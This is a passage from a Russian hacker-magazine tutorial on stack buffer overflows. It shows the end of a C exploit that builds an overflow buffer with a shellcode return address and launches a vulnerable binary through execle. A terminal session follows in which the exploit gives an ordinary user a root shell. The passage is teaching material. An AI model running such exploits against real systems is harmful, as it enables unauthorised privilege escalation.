|
Переполнение буфера в стеке. Шествие второе kas1e Xakep, номер #051, стр. 051-060-5 // теперь посчитаем адрес нашего шеллкода, по которому этот шеллкод ляжет при // использовании execle функции (она, в общем-то, и засунет шеллкод во внешнюю // переменную) int ret = 0xbfffffff - 5 - strlen(shellcode) - strlen("/bof/vuln"); // вот теперь положим полученный адрес в 9-й,10-й,11-й и 12-й байты буфера int i; for (i = 0 ; (i < 12) ;i +=4) // цикл с прибавлением по 4 байта *ap++ = ret; // и, наконец, последний штрих: мы запускаем уязвимую программу с нашим переполняющим // буфером, содержащим в конце адрес шеллкода, и с нашей новой внешней переменной (этим // самым шеллкодом) execle("/bof/vuln","vuln",buf,NULL,enva); } Теперь откомпилим эксплоит и перезайдем под обычным пользователем: [bof]# gcc exploit.c -o exploit [bof]# su just_user [just_user]$ И, наконец, запуск: [just_user]$ /bof/exploit sh-2.04# id uid=0(root) gid=555(just_user) Вот и финал! После долгих разговоров мы получили рута. Разбор полетов В этой статье мы рассмотрели класс уязвимостей, называемых переполнением буфера, и оценили все последствия, которые влечет за собой рассеянное программирование. В двух частях статьи я попытался дать максимальное количество информации. Возможно, в некоторые моменты нелегко вникнуть сразу: ищи документацию, читай и учись. Дальше хотелось бы осветить такие интересные проблемы, как ошибки форматных строк, переполнения bss-секций и heap, race condition и многое другое. ci a. Что стоит почитать: Smashing The Stack For Fun And Profit by Aleph1. Buffer Overflows Demystified. Питер Абель. Программирование на ассемблере. |